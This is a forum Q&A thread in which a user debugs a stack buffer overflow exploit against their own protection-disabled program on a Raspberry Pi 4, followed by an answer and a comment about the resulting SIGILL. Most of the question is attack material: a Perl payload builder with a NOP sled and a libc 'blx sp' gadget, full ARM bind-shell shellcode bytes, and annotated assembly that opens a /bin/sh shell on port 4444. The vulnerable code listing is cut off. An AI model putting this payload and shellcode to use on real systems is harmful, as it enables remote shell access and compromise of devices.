I am trying to exploit a bufferoverflow on raspberry pi 4 which makes use of Cortex-A72 (ARM v8) 64-bit SoC. The linux kernel version is v4.19 and the OS a Debian Buster compiled for the raspberry pi arm architecture.

Vulnerable code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
  char buffer[64];


Compilation options
The code above is compiled with all protections deactivated.

gcc -no-pie -Wl,-z,norelro -fno-stack-protector -z execstack program.c -o program

enter image description here

The payload is generated with the following perl code:


$nopsled = "\x01\x10\xa0\xe1";
$gad_blx_sp = "\xD5\xAF\xE7\xB6"; # adress for gadget "blx sp" in libc

$Shellcode= "\x06\x60\x46\xe0" .
"\x01\x30\x8f\xe2" .
"\x13\xff\x2f\xe1" .
"\x02\x20\x01\x21" .
"\x92\x1a\xc8\x27" .
"\x51\x37\x01\xdf" .
"\x04\x1c\x12\xa1" .
"\x4a\x70\x0e\x71" .
"\x4a\x71\x8a\x71" .
"\xca\x71\x10\x22" .
"\x01\x37\x01\xdf" .
"\xc0\x46\x20\x1c" .
"\x02\x21\x02\x37" .
"\x01\xdf\x20\x1c" .
"\x49\x1a\x92\x1a" .
"\x01\x37\x01\xdf" .
"\x04\x1c\x3f\x27" .
"\x20\x1c\x49\x1a" .
"\x01\xdf\x20\x1c" .
"\x01\x31\x01\xdf" .
"\x20\x1c\x01\x31" .
"\x01\xdf\x05\xa0" .
"\x49\x40\x52\x40" .
"\xc2\x71\x0b\x27" .
"\x01\xdf\xc0\x46" .
"\x02\xff\x11\x5c" .
"\x01\x01\x01\x01" .
"\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x58" .

print "$nopsled" x 17; # 4 bytes x 17 = 68
print "$gad_blx_sp";
print "$Shellcode";

The gadget location in libc (B6E7 AFD5 in big endian) was found by searching for it with ropper:

Blx gadget adress

It's absolute adress during execution can calculated by adding it to the adress found with the Vmmap command in gdb enhancement tool gef:

Gef vmmap command

The shellcode that you can see in the perl above above was assembled with assembly code that you can find on Azeria's website. I changed it a little to avoid a badchar. More details from Azeria on her amazing website https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/ :

.section .text
.global _start
    sub r6, r6, r6     //use r6 used instead of r2 during strb r6, [r1, #4] below to avoid badchar 0x0a
    add r3, pc, #1         // switch to thumb mode
    bx r3

// socket(2, 1, 0)
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2      // set r2 to null
    mov r7, #200        // r7 = 281 (socket)
    add r7, #81         // r7 value needs to be split
    svc #1              // r0 = host_sockid value
    mov r4, r0          // save host_sockid in r4
// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr // pointer to address, port
    strb r2, [r1, #1]    // write 0 for AF_INET
    strb r6, [r1, #4]    // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x
    mov r2, #16          // struct address length
    add r7, #1           // r7 = 282 (bind)
    svc #1

// listen(sockfd, 0)
    mov r0, r4           // set r0 to saved host_sockid
    mov r1, #2
    add r7, #2           // r7 = 284 (listen syscall number)
    svc #1

// accept(sockfd, NULL, NULL);
    mov r0, r4           // set r0 to saved host_sockid
    sub r1, r1, r1       // set r1 to null
    sub r2, r2, r2       // set r2 to null
    add r7, #1           // r7 = 284+1 = 285 (accept syscall)
    svc #1               // r0 = client_sockid value
    mov r4, r0           // save new client_sockid value to r4

// dup2(sockfd, 0)
    mov r7, #63         // r7 = 63 (dup2 syscall number)
    mov r0, r4          // r4 is the saved client_sockid
    sub r1, r1, r1      // r1 = 0 (stdin)
    svc #1

// dup2(sockfd, 1)
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 1 (stdout)
    svc #1

// dup2(sockfd, 2)
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 2 (stderr)
    svc #1

// execve("/bin/sh", 0, 0)
    adr r0, shellcode   // r0 = location of "/bin/shX"
    eor r1, r1, r1      // clear register r1. R1 = 0
    eor r2, r2, r2      // clear register r2. r2 = 0
    strb r2, [r0, #7]   // store null-byte for AF_INET
    mov r7, #11         // execve syscall number
    svc #1

.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
.ascii "/bin/shX"

The following command can be used to generate the ascii equivalent of the code above after assembly:

as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
objcopy -O binary bind_shell bind_shell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin 

During execution
Now when everything is setup (executable compiled, payload ready with gadget adress and shellcode) in gdb when I enter the payload after launching the executable I get a SIGILL error. I do not know what is causing it.

Sigill error message

Below is some exception context info

sigill context info

The payload works fine on Raspberry Pi 3 but not on Raspberry Pi 4, both execute kernel 4.19 and Os Raspbian Buster.

NOTE : I do not get this error when stepping into the shellcode on the stack tough.

Question : Does anybode know what new protection measure on the SOC/kernel/os could be the cause? How can I deactivate these security measures?

1 Answer 1


It's not a problem caused by a protection measure. You are running into an illegal instruction and the process is getting a SIGILL.

Notice r3 == 0x0 by the time you run add r3, pc + #1 (bytecode: \x01\x30\x8f\xe2). This will set r3 to 0xbefff46e (pc + 1), which is not an aligned even 32-bit address, and also, it will be pointing to an illegal instruction byte-code (\x30\x8f\xe2\x13), just before branching to it (bx r3).

Maybe r3 is not expected to be zero by the time the shellcode is reached, or for some other reason the debugger is messing around with the registers or avoiding switching to thumb.

Trace step-by-step until you reach this point in both CPUs and compare register values to bring some more light on this.

Hope this helps, good luck!

  • 1
    As you pointed out after the instruction add r3, pc + #1 will set r3 to pc+1. This is necessary so that the processor in the instruction that follows bx r3 switches to thumb mode. This is possible when the LSB of the adresse in the register is set to 1. This is not an error in the assembly code. See here for more info link. I have also already done a backtrace on the core dump with gdb but I have the same values. Jul 11, 2020 at 9:15

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .